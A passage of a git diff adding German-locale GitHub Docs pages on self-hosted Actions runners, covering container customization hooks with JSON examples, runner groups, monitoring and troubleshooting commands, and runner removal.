+  - `sourceVolumePath`: **(erforderlich)** Der Quellpfad zum Volume, das im Docker-Container bereitgestellt wird
+  - `targetVolumePath`: **(erforderlich)** Der Zielpfad zum Volume, das im Docker-Container bereitgestellt wird
+  - `readOnly`: **(erforderlich)** Legt, ob das eingebundene Volume schreibgeschützt sein soll
+- `registry`: **(optional)** Die Docker-Registrierungsanmeldeinformationen für eine private Containerregistrierung
+  - `username`: **(optional)** Der Benutzername des Registrierungskontos
+  - `password`: **(optional)** Das Kennwort für das Registrierungskonto
+  - `serverUrl`: **(optional)** Die Registrierungs-URL
+- `portMappings`: **(optional)** Ein Schlüssel-Wert-Hash der _source:target_-Ports, die dem Container zugeordnet werden sollen
+
+#### Beispieleingabe für das Image
+
+Wenn du ein Docker-Image verwendest, kannst du den Imagenamen im Parameter `"image":` angeben.
+
+```json{:copy}
+{
+  "command": "run_container_step",
+  "responseFile": null,
+  "state": {
+    "network": "example_network_53269bd575972817b43f7733536b200c",
+    "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+    "serviceContainers": {
+      "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
+    }
+  },
+  "args": {
+    "image": "node:14.16",
+    "dockerfile": null,
+    "entryPointArgs": ["-f", "/dev/null"],
+    "entryPoint": "tail",
+    "workingDirectory": "/__w/octocat-test2/octocat-test2",
+    "createOptions": "--cpus 1",
+    "environmentVariables": {
+      "NODE_ENV": "development"
+    },
+    "prependPath": ["/foo/bar", "bar/foo"],
+    "userMountVolumes": [
+      {
+        "sourceVolumePath": "my_docker_volume",
+        "targetVolumePath": "/volume_mount",
+        "readOnly": false
+      }
+    ],
+    "systemMountVolumes": [
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
+        "targetVolumePath": "/__w",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
+        "targetVolumePath": "/__e",
+        "readOnly": true
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
+        "targetVolumePath": "/__w/_temp",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
+        "targetVolumePath": "/__w/_actions",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
+        "targetVolumePath": "/__w/_tool",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
+        "targetVolumePath": "/github/home",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
+        "targetVolumePath": "/github/workflow",
+        "readOnly": false
+      }
+    ],
+    "registry": null,
+    "portMappings": { "80": "801" }
+  }
+}
+```
+
+#### Beispieleingabe für ein Dockerfile
+
+Wenn dein Container über ein Dockerfile definiert wird, veranschaulicht dieses Beispiel, wie der Pfad zu einem `Dockerfile` in der Eingabe mithilfe des Parameters `"dockerfile":` angegeben wird.
+
+```json{:copy}
+{
+  "command": "run_container_step",
+  "responseFile": null,
+  "state": {
+    "network": "example_network_53269bd575972817b43f7733536b200c",
+    "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+    "services": {
+      "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
+    }
+  },
+  "args": {
+    "image": null,
+    "dockerfile": "/__w/_actions/foo/dockerfile",
+    "entryPointArgs": ["hello world"],
+    "entryPoint": "echo",
+    "workingDirectory": "/__w/octocat-test2/octocat-test2",
+    "createOptions": "--cpus 1",
+    "environmentVariables": {
+      "NODE_ENV": "development"
+    },
+    "prependPath": ["/foo/bar", "bar/foo"],
+    "userMountVolumes": [
+      {
+        "sourceVolumePath": "my_docker_volume",
+        "targetVolumePath": "/volume_mount",
+        "readOnly": false
+      }
+    ],
+    "systemMountVolumes": [
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
+        "targetVolumePath": "/__w",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
+        "targetVolumePath": "/__e",
+        "readOnly": true
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
+        "targetVolumePath": "/__w/_temp",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
+        "targetVolumePath": "/__w/_actions",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
+        "targetVolumePath": "/__w/_tool",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
+        "targetVolumePath": "/github/home",
+        "readOnly": false
+      },
+      {
+        "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
+        "targetVolumePath": "/github/workflow",
+        "readOnly": false
+      }
+    ],
+    "registry": null,
+    "portMappings": { "80": "801" }
+  }
+}
+```
+
+#### Beispielausgabe
+
+Es wird keine Ausgabe für `run_container_step` erwartet.
+
+### `run_script_step`
+
+{% data variables.product.prodname_actions %} geht davon aus, dass die folgenden Aufgaben erledigt werden:
+
+- Das angegebene Skript im Auftragscontainer aufrufen und den Exitcode zurückgeben
+- Alle Schrittprotokollausgaben für stdout und stderr streamen
+
+#### Argumente
+
+- `entryPointArgs`: **(optional)** Eine Liste, die die Einstiegspunktargumente enthält
+- `entryPoint`: **(optional)** Der zu verwendende Containereinstiegspunkt, wenn der Standardeinstiegspunkt des Images überschrieben werden soll
+- `prependPath`: **(optional)** Ein Array zusätzlicher Pfade, die der Variablen `$PATH` vorangestellt werden sollen
+- `workingDirectory`: **(erforderlich)** Eine Zeichenfolge, die den absoluten Pfad des Arbeitsverzeichnisses enthält
+- `environmentVariables`: **(optional)** Legt eine Zuordnung der Schlüsselumgebungsvariablen fest
+
+#### Beispieleingabe
+
+```json{:copy}
+{
+  "command": "run_script_step",
+  "responseFile": null,
+  "state": {
+    "network": "example_network_53269bd575972817b43f7733536b200c",
+    "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+    "serviceContainers": {
+      "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
+    }
+  },
+  "args": {
+    "entryPointArgs": ["-e", "/runner/temp/example.sh"],
+    "entryPoint": "bash",
+    "environmentVariables": {
+      "NODE_ENV": "development"
+    },
+    "prependPath": ["/foo/bar", "bar/foo"],
+    "workingDirectory": "/__w/octocat-test2/octocat-test2"
+  }
+}
+```
+
+#### Beispielausgabe
+
+Es wird keine Ausgabe für `run_script_step` erwartet.
+
+## Generieren des Anpassungsskripts
+
+{% data variables.product.prodname_dotcom %} hat ein Beispielrepository erstellt, das veranschaulicht, wie Anpassungsskripts für Docker und Kubernetes generiert werden. 
+
+{% note %}
+
+**Hinweis:** Die resultierenden Skripts sind für Testzwecke vorgesehen. Du musst selbst entscheiden, ob sie für deine Anforderungen geeignet sind.
+
+{% endnote %}
+
+1. Klone das Repository [actions/runner-container-hooks](https://github.com/actions/runner-container-hooks) in deinen selbstgehosteten Runner.
+
+1. Das Verzeichnis `examples/` enthält einige vorhandene Anpassungsbefehle, für die jeweils eine eigene JSON-Datei verfügbar ist. Du kannst dir diese Beispiele ansehen und sie als Ausgangsbasis für deine eigenen Anpassungsbefehle verwenden.
+
+   - `prepare_job.json`
+   - `run_script_step.json`
+   - `run_container_step.json`
+
+1. Erstelle die npm-Pakete. Diese Befehle generieren die `index.js`-Dateien in `packages/docker/dist` und `packages/k8s/dist`.
+
+   ```shell
+   npm install && npm run bootstrap && npm run build-all
+   ```
+
+Wenn die resultierende `index.js`-Datei von {% data variables.product.prodname_actions %} ausgelöst wird, werden die in den JSON-Dateien definierten Anpassungsbefehle ausgeführt. Um `index.js` auszulösen, muss die Datei zur Umgebungsvariablen `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` hinzugefügt werden. Dies wird im nächsten Abschnitt beschrieben.
+
+## Auslösen des Anpassungsskripts
+
+Die benutzerdefinierten Skripts müssen sich auf dem Runner befinden, sollten aber nicht im Anwendungsverzeichnis des selbstgehosteten Runners gespeichert werden. Die Skripts werden im Sicherheitskontext des Dienstkontos ausgeführt, das den Runnerdienst ausführt.
+
+{% note %}
+
+**Hinweis:** Das ausgelöste Skript wird synchron verarbeitet. Während es ausgeführt wird, wird die Auftragsausführung also blockiert.
+
+{% endnote %}
+
+Das Skript wird automatisch ausgeführt, wenn der Runner über die folgenden Umgebungsvariablen verfügt, die einen absoluten Pfad zum Skript enthalten:
+
+- `ACTIONS_RUNNER_CONTAINER_HOOK`: Das in dieser Umgebungsvariablen definierte Skript wird ausgelöst, wenn einem Runner ein Auftrag zugewiesen wurde, aber bevor die Ausführung des Auftrags gestartet wird.
+
+Um diese Umgebungsvariable festzulegen, kannst du sie entweder dem Betriebssystem oder einer Datei mit der Endung `.env` hinzufügen, die sich im Anwendungsverzeichnis des selbstgehosteten Runners befindet. Der folgende Eintrag in der `.env`-Datei führt beispielsweise dazu, dass der Runner automatisch das Skript unter `/Users/octocat/runner/index.js` ausführt, bevor die containerbasierten Aufträge ausgeführt werden:
+
+```bash
+ACTIONS_RUNNER_CONTAINER_HOOK=/Users/octocat/runner/index.js
+```
+
+Wenn du sicherstellen möchtest, dass dein Auftrag immer in einem Container ausgeführt wird und anschließend deine Containeranpassungen anwendet, kannst du die Variable `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` für den selbstgehosteten Runner auf `true` festlegen. Dadurch werden Aufträge nicht ausgeführt, die keinen Auftragscontainer angeben.
+
+## Problembehandlung
+
+### Keine Timeouteinstellung
+
+Es ist derzeit keine Timeouteinstellung für das Skript verfügbar, das von `ACTIONS_RUNNER_CONTAINER_HOOK` ausgeführt wird. Du könntest daher in Erwägung ziehen, deinem Skript Timeoutverarbeitung hinzuzufügen.
+
+### Überprüfen des Workflowausführungsprotokolls
+
+Um zu bestätigen, dass deine Skripts ausgeführt werden, kannst du die Protokolle für diesen Auftrag überprüfen. Weitere Informationen zum Überprüfen der Protokolle findest du unter [Anzeigen von Protokollen zum Diagnostizieren von Fehlern](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures).
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/index.md b/translations/de-DE/content/actions/hosting-your-own-runners/index.md
new file mode 100644
index 0000000000..758fa14d64
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/index.md
@@ -0,0 +1,38 @@
+---
+title: Deinen eigenen Runner hosten
+intro: 'Du kannst selbst-gehostete Runner erstellen, um Workflows in einer hochgradig anpassbaren Umgebung zu betreiben.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
+  - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
+  - /actions/using-github-hosted-runners/about-ae-hosted-runners
+  - /actions/using-github-hosted-runners/adding-ae-hosted-runners
+  - /actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow
+  - /actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners
+  - /actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners
+  - /actions/using-github-hosted-runners/creating-custom-images
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-self-hosted-runners
+  - /adding-self-hosted-runners
+  - /autoscaling-with-self-hosted-runners
+  - /running-scripts-before-or-after-a-job
+  - /customizing-the-containers-used-by-jobs
+  - /configuring-the-self-hosted-runner-application-as-a-service
+  - /using-a-proxy-server-with-self-hosted-runners
+  - /using-labels-with-self-hosted-runners
+  - /using-self-hosted-runners-in-a-workflow
+  - /managing-access-to-self-hosted-runners-using-groups
+  - /monitoring-and-troubleshooting-self-hosted-runners
+  - /removing-self-hosted-runners
+ms.openlocfilehash: 512f00d6133fbbe50abd944a588e6414eec94720
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146381456'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/de-DE/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
new file mode 100644
index 0000000000..1f27d3db5c
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
@@ -0,0 +1,80 @@
+---
+title: Managing access to self-hosted runners using groups
+shortTitle: Manage access with runner groups
+intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
+redirect_from:
+  - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% ifversion target-runner-groups %}
+For information on how to route jobs to runners in a specific group, see "[Choosing runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#choosing-runners-in-a-group)."
+{% endif %}
+
+## About runner groups
+
+{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+
+## Creating a self-hosted runner group for an organization
+
+{%- ifversion ghec or ghes %}
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+
+{%- endif %}
+
+{% data reusables.actions.creating-a-runner-group-for-an-organization %}
+
+## Creating a self-hosted runner group for an enterprise
+
+ {%- ifversion ghec or ghes %}
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+
+{%- endif %}
+
+{% data reusables.actions.creating-a-runner-group-for-an-enterprise %}
+
+{% endif %}
+
+## Changing the access policy of a self-hosted runner group
+
+{%- ifversion fpt or ghec or ghes %}
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+
+{%- endif %}
+
+{% data reusables.actions.changing-the-access-policy-of-a-runner-group %}
+
+## Changing the name of a runner group
+
+{% data reusables.actions.changing-the-name-of-a-runner-group %}
+
+{% ifversion ghec or ghes or ghae %}
+## Automatically adding a self-hosted runner to a group
+
+{% data reusables.actions.automatically-adding-a-runner-to-a-group %}
+
+## Moving a self-hosted runner to a group
+
+{% data reusables.actions.moving-a-runner-to-a-group %}
+
+## Removing a self-hosted runner group
+
+{% data reusables.actions.removing-a-runner-group %}
+
+{% endif %}
+
+{% data reusables.actions.section-using-unique-names-for-runner-groups %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md
new file mode 100644
index 0000000000..0e597853c7
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md
@@ -0,0 +1,285 @@
+---
+title: Monitoring and troubleshooting self-hosted runners
+intro: You can monitor your self-hosted runners to view their activity and diagnose common issues.
+redirect_from:
+  - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners
+  - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners
+  - /actions/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+miniTocMaxHeadingLevel: 3
+defaultPlatform: linux
+shortTitle: Monitor & troubleshoot
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Checking the status of a self-hosted runner
+
+{% data reusables.actions.self-hosted-runner-management-permissions-required %}
+
+{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+1. Under "Runners", you can view a list of registered runners, including the runner's name, labels, and status.
+
+    The status can be one of the following:
+
+    * **Idle**: The runner is connected to {% data variables.product.product_name %} and is ready to execute jobs.
+    * **Active**: The runner is currently executing a job.
+    * **Offline**: The runner is not connected to {% data variables.product.product_name %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.product_name %}.
+
+## Troubleshooting network connectivity
+
+### Checking self-hosted runner network connectivity
+
+You can use the self-hosted runner application's `run` script with the `--check` parameter to check that a self-hosted runner can access all required network services on {% data variables.location.product_location %}.
+
+In addition to `--check`, you must provide two arguments to the script:
+
+* `--url` with the URL to your {% data variables.product.company_short %} repository, organization, or enterprise. For example, `--url https://github.com/octo-org/octo-repo`.
+* `--pat` with the value of a {% data variables.product.pat_v1 %}, which must have the `workflow` scope{% ifversion pat-v2%}, or a {% data variables.product.pat_v2 %} with workflows read and write access {% endif %}. For example, `--pat ghp_abcd1234`. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+For example:
+
+{% mac %}
+
+{% data reusables.actions.self-hosted-runner-check-mac-linux %}
+
+{% endmac %}
+{% linux %}
+
+{% data reusables.actions.self-hosted-runner-check-mac-linux %}
+
+{% endlinux %}
+{% windows %}
+
+```shell
+run.cmd --check --url https://github.com/YOUR-ORG/YOUR-REPO --pat GHP_ABCD1234
+```
+
+{% endwindows %}
+
+The script tests each service, and outputs either a `PASS` or `FAIL` for each one. If you have any failing checks, you can see more details on the problem in the log file for the check. The log files are located in the `_diag` directory where you installed the runner application, and the path of the log file for each check is shown in the console output of the script.
+
+If you have any failing checks, you should also verify that your self-hosted runner machine meets all the communication requirements. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-requirements)."
+
+### Disabling TLS certificate verification
+{% ifversion ghes %}
+By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}.  If your {% data variables.product.product_name %} has a self-signed or internally-issued certificate, you may wish to disable TLS certificate verification for testing purposes.
+{% else %}
+By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}.  If you encounter network problems, you may wish to disable TLS certificate verification for testing purposes.
+{% endif %}
+
+To disable TLS certification verification in the self-hosted runner application, set the `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` environment variable to `1` before configuring and running the self-hosted runner application.
+
+```shell
+export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1
+./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token
+./run.sh
+```
+
+{% warning %}
+
+**Warning**: Disabling TLS verification is not recommended since TLS provides privacy and data integrity between the self-hosted runner application and {% data variables.product.product_name %}. We recommend that you install the {% data variables.product.product_name %} certificate in the operating system certificate store for your self-hosted runner. For guidance on how to install the {% data variables.product.product_name %} certificate, check with your operating system vendor.
+
+{% endwarning %}
+
+## Reviewing the self-hosted runner application log files
+
+You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory where you installed the runner application, and a new log is generated each time the application is started. The filename begins with *Runner_*, and is followed by a UTC timestamp of when the application was started.
+
+For detailed logs on workflow job executions, see the next section describing the *Worker_* files.
+
+## Reviewing a job's log file
+
+The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory where you installed the runner application, and the filename begins with *Worker_*.
+
+{% linux %}
+
+## Using journalctl to check the self-hosted runner application service
+
+For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.<org>-<repo>.<runnerName>.service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example:
+
+```shell
+$ cat ~/actions-runner/.service
+actions.runner.octo-org-octo-repo.runner01.service
+```
+
+If this fails due to the service being installed elsewhere, you can find the service name in the list of running services. For example, on most Linux systems you can use the `systemctl` command:
+
+```shell
+$ systemctl --type=service | grep actions.runner
+actions.runner.octo-org-octo-repo.hostname.service loaded active running GitHub Actions Runner (octo-org-octo-repo.hostname)
+```
+
+You can use `journalctl` to monitor the real-time activity of the self-hosted runner:
+
+```shell
+$ sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f
+```
+
+In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status:
+
+```shell
+Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service
+Feb 11 14:57:07 runner01 runsvc.sh[962]: Started listener process
+Feb 11 14:57:07 runner01 runsvc.sh[962]: Started running service
+Feb 11 14:57:16 runner01 runsvc.sh[962]: √ Connected to GitHub
+Feb 11 14:57:17 runner01 runsvc.sh[962]: 2020-02-11 14:57:17Z: Listening for Jobs
+Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: testAction
+Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded
+```
+
+To view the `systemd` configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.<org>-<repo>.<runnerName>.service`.
+If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service)."
+
+{% endlinux %}
+
+{% mac %}
+
+## Using `launchd` to check the self-hosted runner application service
+
+For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.<org>-<repo>.<runnerName>`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory:
+
+```shell
+% cat ~/actions-runner/.service
+/Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist
+```
+
+The `svc.sh` script uses `launchctl` to check whether the application is running. For example:
+
+```shell
+$ ./svc.sh status
+status actions.runner.example.runner01:
+/Users/exampleUsername/Library/LaunchAgents/actions.runner.example.runner01.plist
+Started:
+379 0 actions.runner.example.runner01
+```
+
+The resulting output includes the process ID and the name of the application’s `launchd` service.
+
+To view the `launchd` configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner.<repoName>.<runnerName>.service`.
+If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1)."
+
+{% endmac %}
+
+{% windows %}
+
+## Using PowerShell to check the self-hosted runner application service
+
+For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (<org>-<repo>.<runnerName>)`. You can also find the service's name by checking the _.service_ file in the runner directory:
+
+```shell
+PS C:\actions-runner> Get-Content .service
+actions.runner.octo-org-octo-repo.runner01.service
+```
+
+You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running:
+
+```shell
+PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status
+Name                                                  Status
+----                                                  ------
+actions.runner.octo-org-octo-repo.runner01.service    Running
+```
+
+You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status:
+
+```shell
+PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService
+
+   Index Time          EntryType   Source                 InstanceID Message
+   ----- ----          ---------   ------                 ---------- -------
+     136 Mar 17 13:45  Information ActionsRunnerService          100 2020-03-17 13:45:48Z: Job Greeting completed with result: Succeeded
+     135 Mar 17 13:45  Information ActionsRunnerService          100 2020-03-17 13:45:34Z: Running job: testAction
+     134 Mar 17 13:41  Information ActionsRunnerService          100 2020-03-17 13:41:54Z: Listening for Jobs
+     133 Mar 17 13:41  Information ActionsRunnerService          100 û Connected to GitHub
+     132 Mar 17 13:41  Information ActionsRunnerService            0 Service started successfully.
+     131 Mar 17 13:41  Information ActionsRunnerService          100 Starting Actions Runner listener
+     130 Mar 17 13:41  Information ActionsRunnerService          100 Starting Actions Runner Service
+     129 Mar 17 13:41  Information ActionsRunnerService          100 create event log trace source for actions-runner service
+```
+
+{% endwindows %}
+
+## Monitoring the automatic update process
+
+We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates.
+
+You can view the update activities in the *Runner_* log files. For example:
+
+```shell
+[Feb 12 12:37:07 INFO SelfUpdater] An update is available.
+```
+
+In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory where you installed the runner application.
+
+{% linux %}
+
+## Troubleshooting containers in self-hosted runners
+
+### Checking that Docker is installed
+
+If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running.
+
+You can use `systemctl` to check the service status:
+
+```shell
+$ sudo systemctl is-active docker.service
+active
+```
+
+If Docker is not installed, then dependent actions will fail with the following errors:
+
+```shell
+[2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker'
+[2020-02-13 16:56:10Z INFO DockerCommandManager] Not found.
+[2020-02-13 16:56:10Z ERR  StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker'
+```
+
+### Checking the Docker permissions
+
+If your job fails with the following error:
+
+```shell
+dial unix /var/run/docker.sock: connect: permission denied
+```
+
+Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in `systemd`. For example:
+
+```shell
+$ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service
+User=runner-user
+```
+
+{% endlinux %}
+
+{% ifversion ghes %}
+## Resolving runners that are offline after an upgrade of {% data variables.location.product_location %}
+
+{% data reusables.actions.upgrade-runners-before-upgrade-ghes %} 
+
+If your runners are offline for this reason, manually update the runners. For more information, see the installation instructions for [the latest release](https://github.com/actions/runner/releases/latest) in the actions/runner repository.
+{% endif %}
+
+### Checking which Docker engine is installed on the runner
+
+If your build fails with the following error:
+
+```shell
+Error: Input required and not supplied: java-version
+```
+
+Check which Docker engine is installed on your self-hosted runner. To pass the inputs of an action into the Docker container, the runner uses environment variables that might contain dashes as part of their names. The action may not able to get the inputs if the Docker engine is not a binary executable, but is instead a shell wrapper or a link (for example, a Docker engine installed on Linux using `snap`). To address this error, configure your self-hosted runner to use a different Docker engine. 
+
+To check if your Docker engine was installed using `snap`, use the `which` command. In the following example, the Docker engine was installed using `snap`:
+
+```shell
+$ which docker
+/snap/bin/docker
+```
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
new file mode 100644
index 0000000000..04b8943ee1
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
@@ -0,0 +1,102 @@
+---
+title: Removing self-hosted runners
+intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
+  - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+shortTitle: Remove self-hosted runners
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Removing a runner from a repository
+
+{% note %}
+
+**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %}
+
+{% data reusables.actions.self-hosted-runner-auto-removal %}
+
+{% endnote %}
+
+To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+
+{% data reusables.actions.self-hosted-runner-reusing %}
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-runners %}
+{% data reusables.actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-runners %}
+{% data reusables.actions.self-hosted-runner-removing-a-runner %}
+{% endif %}
+
+## Removing a runner from an organization
+
+{% note %}
+
+**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %}
+
+{% data reusables.actions.self-hosted-runner-auto-removal %}
+
+{% endnote %}
+
+To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+
+{% data reusables.actions.self-hosted-runner-reusing %}
+{% ifversion fpt or ghes > 3.3 or ghec %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+{% data reusables.actions.settings-sidebar-actions-runner-selection %}
